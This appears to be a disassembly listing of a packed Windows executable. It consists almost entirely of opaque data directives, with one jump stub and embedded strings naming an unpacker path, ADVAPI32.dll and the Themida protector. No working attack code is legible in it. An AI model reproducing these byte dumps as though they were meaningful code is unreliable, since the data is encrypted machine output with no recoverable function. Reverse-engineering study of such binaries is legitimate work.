0A8FA20CFh dd 0E83B488h, 0AFF5CB6h, 168CD342h, 70906861h, 9AE4D05Ch dd 4BBB0800h, 6EA491AEh, 2AFD01C4h, 0B7A51ED6h, 689020EBh dd 0A9AFE400h, 66926184h, 383588Ah, 5C45A500h, 0A7E478A0h dd 73F4FB00h, 20D3199Fh, 85410022h, 32E8DDCFh, 421D3BC5h dd 10184802h, 20B96010h, 0F400E429h, 0C6B4215Ah, 2E997A34h dd 0A39D7Bh, 47BCDF3Eh, 9E75F178h, 41C0D3F6h, 1D5B5355h dd 3E920F8Eh, 47C02565h, 0D6B3336Eh, 29B89C30h, 3C1EC166h dd 6500B722h, 0DA457C26h, 0C6391137h, 31586BDh, 73A03AB9h dd 584E0010h, 0F9535954h, 8B004F2Eh, 80F08FDAh, 0C1367F34h dd 0BF9B1829h, 0E048D01Ah, 0CB183D73h, 4BE911B1h, 0B343036Ch dd 28C06FB5h, 9FDEF10Eh, 6D64C01Ch, 5FE56D9h, 0EA34763Bh dd 114AC0A0h, 0C030C842h, 3FFA3131h, 94D0092h, 0B78ED9Ch dd 0E1815FBh, 6C691712h, 0F5AB001Dh, 60B5FDF9h, 433A1433h dd 6F3BC8h, 0E6E522BDh, 3F152EC9h, 0A8F4095Ah, 1B6AC30h dd 0BB4D43CDh, 0CC126A50h, 37615F02h, 38853421h, 6403F18Eh dd 35220C95h, 0BBCB8A0Ch, 14FF911Ah, 8139753h, 22393E00h dd 0AF0473DFh, 0EE316700h, 9DBEBD34h, 83F026h, 4F1145F4h dd 0B86491D7h, 0BC590160h, 2658A320h, 473F2Bh, 491B83BAh dd 76989FBEh, 0C78CB40Fh, 129803E5h, 97710004h, 0C9FE1C03h dd 310029C4h, 8249351Ah, 28BCB42Dh, 3DD885CAh, 4500A8ECh dd 0B8E6301Bh, 0AC18DE5Ah, 33E12FBDh, 75BF13D4h, 4D91B076h dd 4472550Eh, 20ECE0C4h, 4940E9CEh, 6DC00887h, 0B79D14E6h dd 0F18594A8h, 0CCC10C00h, 0DDCC5C3h, 3BAF7AFFh, 0E1F58F1Ah dd 679C38E0h, 846B31DAh, 1EFFB8E4h, 755F2873h, 0F14720C0h dd 97A90B4h, 481B4689h, 10679F80h, 9507DBC7h, 0B6FF3A23h dd 0C4D4497Dh, 348D03BDh, 0DD9D20B3h, 5F3A1902h, 706AD49Eh dd 3207FE93h, 95C13EB9h, 0AB193860h, 172B1802h, 40342E31h dd 0A3479480h, 0B5D2A0B8h, 0A6E0302h, 63C3BE3Eh, 65694DE0h dd 493BB930h, 2F82A5Ah, 341DFA53h, 0F049259Bh, 5330E903h dd 40F513B0h, 0AE2FEAD8h, 6A0CB04Fh, 190CB5B6h, 5180E1B8h dd 0E820DD16h, 6C00CD31h, 0EEF896C0h, 422A25h, 5A1B2F64h dd 0BE9CEBE5h, 0D3612B60h, 0FE4E2Dh, 6B0EFADFh, 0E452D5DBh dd 75BD8300h, 0F7909DA5h, 18B8765Ah, 0E0E376B2h, 0A100E898h dd 3F968E50h, 300B5FDCh, 6A893DB9h, 0EB00A558h, 0FDD2D0Ah dd 0AC364B03h, 582FC68h, 0BF70F09Ah, 0BE900198h, 80031287h dd 7ABB5621h, 7B01CE9h, 6A24566h, 496D052h, 0A8A06D70h dd 0B722EE2Fh, 5927003Eh, 7C9E3ABh, 0C813FA0Eh, 5830261Dh dd 3ED4D94Ah, 360578CBh, 5CB69C33h, 0C09B40F8h, 0A0982679h dd 775339h, 0D576A1E4h, 99BC22DEh, 0AC7C0104h, 0CF2E6A28h dd 3B0A3F3h, 49C0E09Ah, 99895323h, 91E01ADh, 0B8267240h dd 0EE81803Ch, 96C89F11h, 87781F81h, 49634389h, 4107D49Dh dd 0D0589A6Fh, 0ECCF5F91h, 0E4F46CCh, 0C0B0B473h, 3580886Fh dd 2150FE9h, 6A9894ABh, 9A1C6634h, 3F000E05h, 0D599A0B3h dd 2EC5001Ch, 0C234B92Ah, 0CB139368h, 4843F2BCh, 24D180FFh dd 4008C079h, 3371562h, 0BF008872h, 7BBD5FAFh, 0CED687h dd 2FC2A2D2h, 30701398h, 12C9BE4Ch, 5C46279Bh, 51D99Ah dd 336A51ADh, 57699DF0h, 14023473h, 316523A2h, 1E906602h dd 49ADD8BAh, 3881957Eh, 0C443D113h, 863ACF37h, 3091150Dh dd 0D29A18A0h, 0D1E139h, 0DFCC5CB4h, 615A60E8h, 0DDCD8800h dd 0F1EC516Dh, 94BF037Eh, 372DC734h, 2C844814h, 0B52254h dd 0BBF631E5h, 2D5FEFCAh, 0BE48B00h, 0EE73F5B4h, 34E30040h dd 0BD0EF4CFh, 0E0E857BAh, 22FC4D4Ch, 5E9EC3Ah, 1B81336Ch dd 15248064h, 6148EEC6h, 7F760F94h, 0E06FA3D6h, 9DA7C035h dd 30700A1h, 208D29Bh, 9C3369F8h, 0B83891E1h, 265EA1Ah dd 96BE2D9Ah, 2CC4B96Dh, 338B7300h, 9A3CE1CDh, 0C68030FEh dd 0E9628639h, 9D2F351Fh, 93EC8314h, 81058008h, 0D95D490Bh dd 66B8D40Ah, 0E0478503h, 0F96DE1C4h, 40329A37h, 40B49D26h dd 7C85BBE2h, 8C787100h, 0C4D48AA8h, 276F42Bh, 0BBDA51CFh dd 0E8C19ED9h, 0B0871416h, 13A98648h, 9D50190Eh, 828929Fh dd 4892C28Ch, 3190F03Dh, 9453B80Dh, 8800D8BAh, 2E21D9BAh dd 0B2E46AB5h, 0B6F82576h, 0B834FEF8h, 0D0CC61CBh, 0F8BB0082h dd 30BF4ADFh, 2618B1D6h, 0E329D99Dh, 0A35D3DB8h, 0EE03558Bh dd 83968400h, 0D2099D8Fh, 800E5495h, 909BBB40h, 3D5C3CC3h dd 379A39BDh, 6C41C19Dh, 1EC86028h, 1BF49301h, 9B8CB89h dd 9C302189h, 0EDFF2C10h, 0AB9A110Eh, 20464065h, 7EB071B9h dd 0CD8200B3h, 14496AA7h, 970BE348h, 3864B474h, 1920CC4Ch dd 0E12E5C03h, 6913C312h, 0AFF456h, 27A180D7h, 401C082h dd 0C3ED4FA5h, 1822B8E2h, 1C2CE1Fh, 0B9CB97DDh, 0A6418A0Fh dd 7100549Dh, 34825BE6h, 199F6DAh, 49CCBB46h, 0D0C3D062h dd 0BF00B329h, 72DB894Ch, 29C256Dh, 0C60F482h, 0A0C11531h dd 0EB987026h, 9D463F00h, 33122862h, 0BF2505B3h, 88B79A85h dd 9512FB0Ch, 1B01DAB5h, 0F8915F2h, 90AF7424h, 25F73DB4h dd 0DCA9F6B0h, 0B707F3E4h, 0DAFBC758h, 9DEAF9D0h, 5DAB816h dd 357AFBDh, 7D848813h, 0AAF22B00h, 78240597h, 0CE800027h dd 0C61CAEE0h, 79121371h, 300BA8B4h, 0BE8C828Dh, 0C125E39Eh dd 0BCD16175h, 1325C048h, 239C3105h, 38E8ECECh, 0D6061F4Bh dd 532D97D5h, 34B01338h, 9DF02298h, 4200E444h, 0B31AC4F6h dd 99288434h, 0DF113Ch, 0AB8A2B37h, 0B1D2F88h, 6287BB52h dd 0F4E15883h, 2E6C3BF8h, 0C2084C05h, 2C009C32h, 36297975h dd 81EC91F9h, 6E6D91CCh, 0C7FD842h, 0F0D89F00h, 468D83A5h dd 4B3916F7h, 8BE407C3h, 0DBB8DCF1h, 5805B12Ah, 0FA18E9F4h dd 0C328B6BCh, 0E8690008h dd 0ABE78A7Dh, 74944503h, 0B5209144h, 0EB05A1A0h, 0B96F3C60h dd 2750C00h, 0EDB087FDh, 0BF29C8h, 2108C0ADh, 0B2FF4ED0h dd 36D3CA0h, 0F742810Ah, 8340E415h, 5D1B4Eh, 0FE119719h dd 49A1B145h, 98D248h, 0BF83B860h, 39D909Ch, 0D320B5B9h dd 0A10029C0h, 2488EE38h, 6A7D83h, 221A21FFh, 5D26AF66h dd 0A946060Bh, 5724109Dh, 82E50069h, 4413CCE6h, 8000C165h dd 55A7A646h, 24286641h, 381F52h, 9D4E35B8h, 42482FE9h dd 8098486Ch, 58CDF6Fh, 0FA8F0079h, 1FEC018Eh, 3F7329A9h dd 0A6B58400h, 0E02AD457h, 87C0A060h, 982C589Ah, 44B04BC1h dd 0A4EAC0BCh, 73DC0713h, 6806D604h, 0A00F4A2h, 0F2C13748h dd 490E7B33h, 5F8B558h, 84FF0F6Dh, 0B6DC8839h, 0C80DBD26h dd 22C6B542h, 94A02AC0h, 0A6B933E6h, 9F997701h, 4197712Eh dd 16A9B670h, 234461Eh, 70CA8B60h, 0ADA29898h, 230002E8h dd 0DD4DE5B6h, 12A24A6h, 477192B4h, 0F96C9C55h, 914050CBh dd 5A0006F0h, 0C733C275h, 91BE8A54h, 36F80028h, 905DD1C8h dd 0B8D40F00h, 34CA46EEh, 6B13E583h, 0E02265EBh, 0C0BD7E03h dd 98134641h, 850F2FE0h, 9D5E9536h, 0E93E1B43h, 4901B921h dd 723FCC33h, 0D5005ABAh, 2BE6CC06h, 0D4003098h, 0AEEF20ACh dd 829D73h, 3EC334F7h, 0B8EE6E42h, 0F1F42455h, 0D296C499h dd 97738600h, 5D36FC98h, 23E2EAh, 6AA3AB59h, 586F8583h dd 1A48097Dh, 0B0392298h, 6C083870h, 0B228600h, 9034E744h dd 9112DC44h, 6E228064h, 0DF270B95h, 1DDD2B00h, 0E323F6E6h dd 0DA89075Ch, 0E89DF2E1h, 0E80AE280h, 1FE3797h, 942114BFh dd 30286F84h, 0B612FCD8h, 82218B4h, 7D34CCBDh, 0A26D091Fh dd 80689CD9h, 8809C1F8h, 43E420Ah, 0B4CC839Ah, 0B7330074h dd 0E05AC7CBh, 8B5CE220h, 0F5523905h, 7CA50500h, 8D9A2D88h dd 0C9B30110h, 0CBBA2691h, 0F5B6C8A0h, 91B949C9h, 0E07AD29Ch dd 0CB070EE4h, 2725371Dh, 9CE47F34h, 0B3C8A18Dh, 9EBEB6C8h dd 8C83801Ch, 859A6DF6h, 0B84F63EEh, 8ADF9040h, 74B94070h dd 17040093h, 0C6B1492Dh, 0AB0B7B28h, 1D5423Fh, 0FF1510E0h dd 498BDA10h, 83075F00h, 0B31B960h, 0CB4E09EEh, 0FC045D93h dd 20C0FA6Fh, 0B08C5072h, 34DC125Ch, 6430D29Ah, 400FB484h dd 932C5333h, 0D19C8D5h, 948B9180h, 7D2FA60h, 7B348770h dd 0B597345Bh, 89DC3864h, 50F0041h, 0BA9AD1Fh, 0B8DD9B18h dd 0A21D1401h, 0C985202Bh, 5C493124h, 348A0Fh, 0EE9C6B6h dd 89A4C29h, 0A0FB8180h, 897B4213h, 73B77B1Fh, 1D608C00h dd 17A8B5A6h, 0A22A3Dh, 0DEECE62h, 0B400B7B0h, 778263BFh dd 60B89BD4h, 123A103h, 0C7002F6Fh, 29784BA1h, 162CF76h dd 3107FC43h, 305EBFB5h, 59249020h, 9007C9Eh, 0E5468EA4h dd 456700E6h, 5A6C72EDh, 0B830FFFCh, 0CDF7A9E2h, 99BDF8A8h dd 0F450310h, 4F8C990h, 0CA0022B7h, 0C3F36DC1h, 1EDBCDEEh dd 4E1B4A21h, 868069AEh, 61032D3Eh, 8A609CB9h, 6A9DD2h dd 614F68E1h, 775DBBA1h, 0B3FB5002h, 2002B854h, 7B39B268h dd 98A7E300h, 0CE4F990h, 86CA00E0h, 0E6D2962h, 2649B96Ah dd 0FED10738h, 3C208A13h, 1C69753Dh, 5DE999FBh, 0C0B25FF4h dd 6D33252Bh, 1144B3B6h, 0AA890A9Ah, 67F815B1h, 0F0927091h dd 0BFE2235Ch, 0AFCE750Bh, 12D0489Dh, 0AACB00EDh, 0EA48625Ah dd 0BA00BD0Dh, 60E6F840h, 705D5585h, 38D188B9h, 19570E02h dd 0E06ABAE0h, 48B9C1C4h, 0D71145Fh, 1154017h, 0F706E891h dd 257F3E00h, 0CA2460E3h, 562901C4h, 47EB2B5Fh, 0AA54409Ch dd 1099506h, 0C4581467h, 0DD610060h, 7A41D26Dh, 4B5A0230h dd 0A4988423h, 0C20A1544h, 5848EC4Ch, 0BB051FFAh, 0E15FD523h dd 2800C4C4h, 61941848h, 0E30E435h, 0EBB16A1Bh, 31F95A82h dd 3EFB8440h, 0DD023D7Ch, 2150863h, 4872B9h, 0D07FF5B8h dd 4DDD8290h, 0EE034001h, 13150139h, 90981DCCh, 0DE08F1BCh dd 0EFC4C689h, 851200E8h, 0F048C2FCh, 562C20F6h, 9300E02Ch dd 44E5CF34h, 91C000BDh, 6F122262h, 8006CAA9h, 1CB8CB8Ah dd 6E90FF1h, 9A0952DBh, 2FAF5C68h, 174AD500h, 5B44F367h dd 0EE770001h, 121A348Ch, 3102E25Fh, 0BAB1A96Eh, 0F44C809Ch dd 944FC7Ch, 37E42DD8h, 0C6078064h, 354C02F5h, 0E971EF0Fh dd 4D2840F0h, 0F49837h, 0C0E3B529h, 9DD3DE19h, 0DF7AE813h dd 0E42A6004h, 894B0305h, 0E307240h, 4316C9E7h, 0B8ACBB3Fh dd 70C31857h, 66AE450h, 0C00B1EC6h, 0FE79393Eh, 940A100h dd 8F6B4D2Eh, 50009813h, 82AD9C11h, 0CAC46280h, 0DC04614Eh dd 0B1B5259Bh, 54839CC8h, 656CC3h, 4513FD79h, 0BE5BF748h dd 0B091F928h, 68851B45h, 30400D8Dh, 0CB178194h, 82B5FA05h dd 0D2C15C38h, 0EF307329h, 0FF9A1D90h, 0FCE8039Dh, 80BC835Ah dd 0AF22DAA6h, 4B00FEFEh, 0F51EBB8Fh, 0BD30C5Fh, 30E23C06h dd 51A88887h, 6D12DD2Ch, 0BB4200DCh, 7173568Eh, 0E1410266h dd 0AEC4B67Dh, 2E012846h, 16363C0Dh, 9BD4B028h, 49D00120h dd 84909C2Ch, 3FB8E061h, 8F004492h, 0DC048EBCh, 24EDFE2Ch dd 3CF416A9h, 1A230181h, 78B7B670h, 64738BA0h, 780D00C8h dd 6054065Fh, 0D00019E0h, 0B3843826h, 0A61C19Ch, 0A6EB4799h dd 0DF502C4h, 50E49237h, 81456539h, 0C033730Fh, 0F0E0A35Bh dd 0E0CE099Bh, 7890B835h, 7707A492h, 0E8663E17h, 0EA2E5240h dd 6610069h, 6DAAC72Dh, 68A0B955h, 77000246h, 6AE17E85h dd 88B2EDh, 26E28362h, 0F7EFC8BDh, 0E0483C29h, 35F2DB87h dd 0E4C7A8D0h, 15282FFCh, 0F9A3E420h, 0BB00140Eh, 0CABD12A5h dd 1435BDBh, 0C7C0B51Bh, 0FCF2796Eh, 700E40B7h, 0BCF19DEh dd 0FF2C6813h, 0AF7E0034h, 2555ED69h, 8427CBAEh, 8054AF12h dd 0AB533E0Ah, 0CC0D2907h, 0FDFF7F01h, 0B0h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53C6AA: ; CODE XREF: start:loc_4DE265j ; DATA XREF: start:loc_4DE086o jmp loc_53FA8F ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 10h dd 5 dup(0) dd 0FF000000h, 0FFFFFFh, 6 dup(0) dd 4000000h, 7FFE03h, 3 dup(0) dd 5E000000h, 77E7ACh, 0 dd 99000000h, 582Ah, 0 dd 0D4000000h, 28CBEh, 0A0000000h, 3 dup(0) dd 0B3000000h, 77F7EBh, 6 dup(0) dd 0BE000000h, 5AF4h, 65h dup(0) dd 4000000h, 7FFE03h, 6 dup(0) dd 7D000000h, 0FFFFEFh, 76000000h, 0D2EBC39Dh, 9900Ah dd 0 dd 0BC000000h, 0FBA445h, 6 dup(0) dd 0FF000000h, 0A3004Bh, 0 dd 0D8000000h, 77E805h, 3 dup(0) dd 0C9000000h, 881857h, 3 dup(0) dd 0F000000h, 9FA0h, 3 dup(0) dd 0D2000000h, 0C0000076h, 5AC7h, 2 dup(0) dd 5000000h, 0FFFFEEh, 75000000h, 0FFAA5Ch, 0Eh dup(0) dd 0FF000000h, 0FFFFFFh, 0 dd 8D000000h, 5400008Dh, 77F512h, 2 dup(0) dd 92000000h, 0FEFFA49Fh, 0AFA1h, 0 dd 63000000h, 53E4h, 0 dd 25900h, 0EC000000h, 585Ah, 7 dup(0) dd 8D000000h, 2B01CF69h, 0 dd 0E8000000h, 22Fh, 600h, 73000000h, 4040F17h, 7FFE03h dd 41000000h, 5761h, 0 dd 3800AD00h, 0FFA5B1h, 4 dup(0) dd 25000000h, 0E3BCCCh, 3 dup(0) dd 52000000h, 4F9D36h, 1Ch dup(0) dd 43000000h, 5F6D5C3Ah, 61706E75h, 72656B63h, 7Dh dup(0) dd 4F000000h, 68FFFE14h, 0E400005Bh, 0FFFFA0h, 6C000000h dd 0AA010674h, 6957CEh, 2 dup(0) dd 0D8000000h, 0A17Fh, 99000000h, 537Ah, 5 dup(0) dd 63000000h, 5A5Eh, 2 dup(0) dd 0EB000000h, 391C08h, 0BF000000h, 9F9Bh, 0 dd 0FF000000h, 0BFDFFFh, 0 dd 0CF000000h, 0B000006Ah, 5AC0h, 4000000h, 0AFh, 0Bh dup(0) dd 9B000000h, 582Ch, 0A6000000h, 10057FDh, 5 dup(0) dd 28C00h, 8A000000h, 8Eh, 5 dup(0) dd 0CF000000h, 0A100006Ah, 5974h, 2 dup(0) dd 0BB000000h, 0FFFFC2h, 6 dup(0) dd 67000000h, 0F052ADD2h, 77DD59h, 0 dd 82000000h, 77E78Bh, 6 dup(0) dd 3D000000h, 0FDE080h, 4 dup(0) dd 8000000h, 12FDh, 8 dup(0) dd 0B0000000h, 1EFFFh, 0Ah dup(0) dd 8D000000h, 4CFCA8Dh, 7FFE03h, 7 dup(0) dd 0C0000000h, 5AC7h, 4000000h, 7FFE03h, 0 dd 0DE000000h, 0CDFFFFEFh, 77E776h, 2 dup(0) dd 87000000h, 5793h, 0EF000000h, 870056C5h, 5793h, 0 dd 0CF000000h, 0F00006Ah, 5401h, 3 dup(0) dd 0E8000000h, 0A023h, 4 dup(0) dd 80000000h, 2 dup(0) dd 19000000h, 4 dup(0) dd 8E000000h, 81026413h, 0B73FFh, 0E877F500h, 8D000000h dd 78F48Dh, 5 dup(0) dd 0C4000000h, 12FFh, 6 dup(0) dd 0DC000000h, 0FF0000A1h, 0FFFFFFh, 3A8h, 0DD000000h dd 9F69h, 3 dup(0) dd 0D1000000h, 58CFh, 4 dup(0) dd 0EF000000h, 3177E793h, 59E2h, 4 dup(0) dd 6A000000h, 77D4C9h, 6 dup(0) dd 1000000h, 1F000000h, 7F6293h, 2 dup(0) dd 0CD000000h, 0Ch, 0 dd 4000000h, 7FFE03h, 0Bh dup(0) dd 6B000000h, 8Ch, 2 dup(0) dd 0DD000000h, 5771h, 7 dup(0) dd 98000000h, 0Dh dup(0) dd 0B000000h, 0F02475h, 0 dd 9E000000h, 59CDh, 8 dup(0) dd 0E8000000h, 77E82Fh, 0 dd 5000000h, 0C8B532h, 2 dup(0) dd 0A6000000h, 667FBAh, 0Eh dup(0) dd 0F3000000h, 0B2009F8Ch, 77AC77h, 0 dd 0C0000000h, 0FFFF95h, 3 dup(0) dd 2C000000h, 0D2286Fh, 28h dup(0) dd 0A2000000h, 5A57h, 5 dup(0) dd 3B000000h, 9F3Eh, 3 dup(0) dd 7C000000h, 5B000000h, 3, 6 dup(0) dd 9D000000h, 57BBh, 2 dup(0) dd 44000000h, 4FF987Bh, 0FD9B9Bh, 0FA000000h, 7317F67Ch dd 0D42E7Ah, 2 dup(0) dd 0D2000000h, 5676h, 0B7000000h, 85EA2Eh, 3 dup(0) dd 60000000h, 54B83A24h, 3C0012FFh, 77FF00h, 4 dup(0) dd 41000000h, 5761h, 3 dup(0) dd 88000000h, 0FFFFA1h, 3 dup(0) dd 0DE000000h, 6B3BD5h, 3 dup(0) dd 1000000h, 2 dup(0) dd 36000000h, 363636h, 0 dd 8D000000h, 7A3032h, 2 dup(0) dd 0E3000000h, 0FFFFDAh, 4 dup(0) dd 43000000h, 53E1h, 4 dup(0) dd 0FC000000h, 8001FCh, 0D2000000h, 5676h, 9C000000h, 4 dup(0) dd 84000000h, 4 dup(0) dd 68000000h, 500A032h, 0E9E4138Ah, 77EBA6h, 4 dup(0) dd 0CF000000h, 6Ah, 7 dup(0) dd 13000000h, 0B560D7h, 0E0BB00h, 2 dup(0) dd 37000000h, 9FA0h, 8 dup(0) dd 43000000h, 0Fh, 0 dd 13000000h, 3E1049h, 8 dup(0) dd 4000000h, 0A67FFE03h, 57FDh, 77D400h, 0 dd 68000000h, 2300A015h, 5300h, 5 dup(0) dd 43000000h, 49575C3Ah, 574F444Eh, 79535C53h, 6D657473h dd 415C3233h, 50415644h, 2E323349h, 6C6C64h, 3Ah dup(0) dd 0F0000000h, 12FEh, 3 dup(0) dd 2000000h, 0E2005752h, 8A0FB5h, 2 dup(0) dd 23000000h, 5300h, 8 dup(0) dd 23000000h, 5700h, 5 dup(0) dd 0CA000000h, 5780h, 2 dup(0) dd 78000000h, 5A32h, 3 dup(0) dd 0F1000000h, 0FF605Fh, 1000000h, 5 dup(0) dd 0D7000000h, 27010732h, 3AE92Eh, 4 dup(0) dd 0B0000000h, 106h, 2 dup(0) dd 20000000h, 0D5B7B5h, 5 dup(0) dd 54000000h, 510057C3h, 442B2F2h, 7FFE03h, 7 dup(0) dd 0FB000000h, 0F005F7Eh, 77F52Eh, 3 dup(0) dd 0A4000000h, 0 dd 0F4000000h, 8005F6h, 0C5000000h, 4005912h, 437FFE03h dd 25AC95h, 0 dd 9B025A00h, 6BC215h, 0D0000000h, 83000000h, 4431h, 4 dup(0) dd 2E000000h, 0FFFF89h, 0B7h dup(0) dd 3E000000h, 9E00h, 0Bh dup(0) dd 9A000000h, 77DD18h, 0Fh dup(0) dd 73000380h, 6385CF3Dh, 77E779h, 7 dup(0) dd 41000000h, 5761h, 2000000h, 0 dd 8A000000h, 586Bh, 3 dup(0) dd 0DB000000h, 0E20405h, 0CF000000h, 6Ah, 53000000h, 57E1h dd 0Bh dup(0) dd 0F0025B00h, 0E057CBh, 0 dd 4E000000h, 0FFFFAFh, 0 dd 4000000h, 7FFE03h, 14000000h, 8A2765h, 4 dup(0) dd 82000000h, 3277E78Bh, 0A32B29h, 0F1000000h, 0FF605Fh dd 10h dup(0) dd 68000000h, 0FA54EBh, 4 dup(0) dd 4000000h, 8B7FFE03h, 53E2h, 2 dup(0) dd 4000000h, 7FFE03h, 0 dd 60000000h, 53C7h, 1Eh dup(0) dd 6000000h, 0Bh dup(0) dd 0D2000000h, 41005676h, 94005761h, 0Ch dup(0) dd 0D1000000h, 7, 82000000h, 68FFFF95h, 77E83Eh, 3 dup(0) dd 14000000h, 0DE0h, 0DD000000h, 9F69h, 4 dup(0) dd 0DD000000h, 9F69h, 0 dd 8D000000h, 23FFFF8Dh, 0FF6096h, 19h dup(0) dd 17000000h, 0FFFDF1h, 0 dd 1000000h, 6 dup(0) dd 41692A00h, 0F2005761h, 77EB87h, 0 dd 69000000h, 59F9h, 0D1000000h, 584Bh, 17000000h, 5A3039h dd 4 dup(0) dd 0F4000000h, 0FFFFA3h, 2 dup(0) dd 99000000h, 0F177E7A0h, 0FF605Fh, 0 dd 0FF000000h, 0FFFFFFh, 2 dup(0) dd 37000000h, 77E7A8h, 2 dup(0) dd 53000000h, 0A38Dh, 3 dup(0) dd 9E00h, 4 dup(0) dd 8D000000h, 9EFFA7A2h, 6E80C2h, 1A000000h, 57E3h, 3 dup(0) dd 0AB000000h, 0B30000FCh, 53F9h, 3 dup(0) dd 57000000h, 5AA7h, 0Dh dup(0) dd 1000000h, 16h dup(0) dd 0E6000000h, 106165h, 78000000h, 1C1h, 0 dd 33000000h, 5F7Ah, 5 dup(0) dd 0E2000000h, 0BA8A0FB5h, 0BADE6Bh, 3 dup(0) dd 29000000h, 1CFEF8CDh, 5943h, 5 dup(0) dd 0B9000000h, 0D5DFEAh, 2 dup(0) dd 9C000000h, 0FFEDDFh, 2 dup(0) dd 4000000h, 7FFE03h, 3 dup(0) dd 90000000h, 2 dup(0) dd 6B000000h, 53EFh, 0CF000000h, 6Ah, 0E9000000h, 127h dd 4 dup(0) dd 9D000000h, 57BBh, 0Ch dup(0) dd 4DC0h, 78000000h, 123456h, 0D7000000h, 77DD23h, 2 dup(0) dd 85000000h, 5B52749Ah, 3, 3 dup(0) dd 22000000h, 3BB2033Ch, 77E74Ah, 3 dup(0) dd 0DD000000h, 9F69h, 0 dd 4000000h, 0D1005703h, 0C835h, 3 dup(0) dd 0E9000000h, 0FFFF83h, 4000000h, 0F37FFE03h, 9F8Ch, 0DF000DB0h dd 0A9C530h, 2 dup(0) dd 0FF000000h, 57FFh, 0E9000000h, 0E5h, 34000000h, 9F92h dd 3 dup(0) dd 0F0000000h, 12FFh, 4000000h, 7 dup(0) dd 4000000h, 7FFE03h, 7 dup(0) dd 79000000h, 5943h, 6 dup(0) dd 69000000h, 981515h, 9 dup(0) dd 54000000h, 696D6568h, 6164h, 21h dup(0) dd 0B0000000h, 1CFFFh, 0FB000000h, 58AEh, 5 dup(0) dd 0E2000000h, 0FC8A0FB5h, 0E2000003h, 16F9F66h, 75000000h dd 0FFAC1Dh, 0 dd 37000000h, 9F9Ch, 6D000000h, 56FCh, 2 dup(0) dd 4000000h, 7FFE03h, 2 dup(0) dd 0B8000000h, 0FFA729h, 0 dd 0FD000000h, 77E7A5h, 2 dup(0) dd 4000000h, 7FFE03h, 2 dup(0) dd 0E6000000h, 0DF009E0Fh, 952FFFF7h, 2AC0Dh, 4C000000h dd 587Dh, 2 dup(0) dd 23000000h, 95005700h, 0A399h, 2 dup(0) dd 40000000h, 4F76B41Bh, 0FFFE14h, 4 dup(0) dd 70000000h, 4 dup(0) dd 3A000000h, 0FD9BECh, 2 dup(0) dd 0E9000000h, 20Eh, 5 dup(0) dd 9E00h, 0E3000000h, 9B5322AAh, 5ABBh, 0 dd 4000000h, 7FFE03h, 0 dd 16000000h, 0A173h, 3 dup(0) dd 4000000h, 0C7FFE03h, 24000h, 0 dd 14000000h, 7FFE03h, 2 dup(0) dd 43000000h, 53E1h, 0 dd 0FF000000h, 580Bh, 2 dup(0) dd 0CD000000h, 77E776h, 0B5000000h, 75h, 0 dd 0A4000000h, 8E93E3h, 4 dup(0) dd 0B8000000h, 69A0DFh, 2 dup(0) dd 77DD00h, 2 dup(0) dd 0EF000000h, 56C5h, 8 dup(0) dd 0CF000000h, 6Ah, 0 dd 0E7000000h, 5ACBh, 9 dup(0) dd 0F1000000h, 0EBFF605Fh, 0BFFB6Fh, 16000000h, 0A173h dd 0 dd 0A8000000h, 5A32h, 0 dd 73000000h, 48005670h, 77E79Eh, 2 dup(0) dd 0B5000000h, 77E75Ch, 7A9B00h, 6 dup(0) dd 0DD000000h, 5771h, 9 dup(0) dd 0B0000000h, 5AC0h, 1F000000h, 0FFFF43h, 5B000000h, 28C07h dd 4 dup(0) dd 0A3000000h, 0CDA680h, 2 dup(0) dd 0C0000000h, 74894BE4h, 2 dup(0) dd 86000000h, 77E7C4h, 9 dup(0) dd 0FF000000h, 0FFFFFFh, 0F8000000h, 3F9h, 7 dup(0) dd 4000000h, 7FFE03h, 77000000h, 113F89h, 3 dup(0) dd 0A8000000h, 0FA000000h, 33B406h, 0BB000000h, 588Fh dd 2 dup(0) dd 0F000000h, 5401h, 3 dup(0) dd 0CF000000h, 400006Ah, 7FFE03h, 2 dup(0) dd 3E000000h, 7FFF03h, 0 dd 0EB000000h, 0DE535536h, 9F2Bh, 0AA000000h, 0FFB829h dd 0 dd 93000000h, 9F93h, 4 dup(0) dd 0EB000000h, 8, 0 dd 15000000h, 766FD9h, 1Fh dup(0) dd 0C1000000h, 2FB8FDh, 5 dup(0) dd 4000000h, 47FFE03h, 7FFE03h, 8 dup(0) dd 0CF000000h, 6Ah, 0 dd 0F8000000h, 0FFFF94h, 0A0000000h, 3, 3 dup(0) dd 33000000h, 2 dup(33333333h), 333333h, 4000000h, 7FFE03h dd 4 dup(0) dd 0B5000000h, 77E75Ch, 3 dup(0) dd 7A000000h, 59ABh, 5 dup(0) dd 0C8000000h, 5005A4Eh, 750A2801h, 5A50h, 1000000h, 45000000h dd 0DDCCB1h, 0 dd 0F0000000h, 12FEh, 0AC000000h, 0FFED00h, 2 dup(0) dd 4000000h, 7FFE03h, 41000000h, 5761h, 4 dup(0) dd 0BF000000h, 34A56A7Bh, 77E79Eh, 0 dd 0D2000000h, 76h, 3 dup(0) dd 78000000h, 0F8000000h, 1394h, 0Fh dup(0) dd 5D000000h, 0FFAAA7h, 0B600h, 0E7000000h, 5ACBh, 2 dup(0) dd 4000000h, 4 dup(0) dd 0F4000000h, 8005F6h, 2 dup(0) dd 7F000000h, 0D4027F02h, 0FFFF8Ch, 3 dup(0) dd 94000000h, 5A40h, 5 dup(0) dd 0EB000000h, 40h, 2 dup(0) dd 3AAF80h, 0 dd 0E8000000h, 0Ah, 6 dup(0) dd 5B000000h, 9F91h, 5 dup(0) dd 6B000000h, 53EFh, 10000000h, 0BFh, 26h dup(0) dd 81000000h, 0B73FFh, 3 dup(0) dd 30000000h, 312D34h, 3 dup(0) dd 0B5000000h, 5405h, 5 dup(0) dd 0CD000000h, 7FA2D4h, 0 dd 30000000h, 0FF9CD2h, 7 dup(0) dd 0B0000000h, 21FFFh, 7 dup(0) dd 23000000h, 200h, 0AD000000h, 0C453C412h, 8001FCh, 5 dup(0) dd 0E8000000h, 0ADA2D5h, 0A8000000h, 5408h, 0 dd 4000000h, 7FFE03h, 6 dup(0) dd 0B8000000h, 0 dd 30000000h, 0F3617h, 9 dup(0) dd 48000000h, 7077E79Eh, 74F03DCEh, 865559h, 4 dup(0) dd 15000000h, 0F8FFA69Bh, 800003F9h, 0Eh, 4 dup(0) dd 45000000h, 5AFBh, 3 dup(0) dd 67000000h, 8E8A61h, 5 dup(0) dd 0D0000000h, 4FFFF9Bh, 